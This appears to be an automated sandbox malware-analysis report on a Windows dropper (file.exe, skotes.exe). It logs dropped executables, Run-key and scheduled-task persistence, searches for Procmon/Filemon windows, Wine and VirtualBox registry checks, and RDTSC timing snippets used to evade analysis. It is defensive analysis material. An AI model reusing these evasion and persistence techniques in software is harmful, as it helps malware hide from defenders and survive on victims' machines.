Source: random[1].exe.6.dr	Static PE information: section name: rriqemsb entropy: 7.954348593087334
Source: 1026aa8304.exe.6.dr	Static PE information: section name: entropy: 7.9815761329960475
Source: 1026aa8304.exe.6.dr	Static PE information: section name: rriqemsb entropy: 7.954348593087334
Source: random[1].exe0.6.dr	Static PE information: section name: fswcchxk entropy: 7.9539134055900735
Source: 3c882da37a.exe.6.dr	Static PE information: section name: fswcchxk entropy: 7.9539134055900735
Source: random[1].exe2.6.dr	Static PE information: section name: entropy: 7.7704392978433185
Source: 822dda4848.exe.6.dr	Static PE information: section name: entropy: 7.7704392978433185

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8e42b8a1d9.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3c882da37a.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 1026aa8304.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 822dda4848.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 1026aa8304.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 1026aa8304.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3c882da37a.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3c882da37a.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8e42b8a1d9.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8e42b8a1d9.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 822dda4848.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 822dda4848.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	System information queried: FirmwareTableInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6EA1D second address: C6EA21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEFAE4 second address: DEFAEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEFAEA second address: DEFAEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF77A1 second address: DF77A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF7A66 second address: DF7A6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF7A6A second address: DF7A74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF7A74 second address: DF7A7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF7A7A second address: DF7A7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF7A7E second address: DF7A84 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF7D3F second address: DF7D4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 ja 00007F40B53604C6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF7D4E second address: DF7D52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF7D52 second address: DF7D58 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF7D58 second address: DF7D64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF7D64 second address: DF7D6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF7D6A second address: DF7D75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F40B4517B16h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFB765 second address: DFB76F instructions: 0x00000000 rdtsc 0x00000002 jl 00007F40B53604C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFB76F second address: DFB775 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFB775 second address: DFB779 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFB8A4 second address: DFB8B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F40B4517B1Bh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFB8B4 second address: DFB8F2 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F40B53604D5h 0x00000008 jmp 00007F40B53604CFh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 pushad 0x00000014 jne 00007F40B53604DCh 0x0000001a push eax 0x0000001b push edx 0x0000001c push esi 0x0000001d pop esi 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFB8F2 second address: DFB929 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F40B4517B16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov eax, dword ptr [eax] 0x0000000d push eax 0x0000000e jp 00007F40B4517B1Ch 0x00000014 ja 00007F40B4517B16h 0x0000001a pop eax 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 pushad 0x00000023 popad 0x00000024 jmp 00007F40B4517B22h 0x00000029 popad 0x0000002a rdtsc
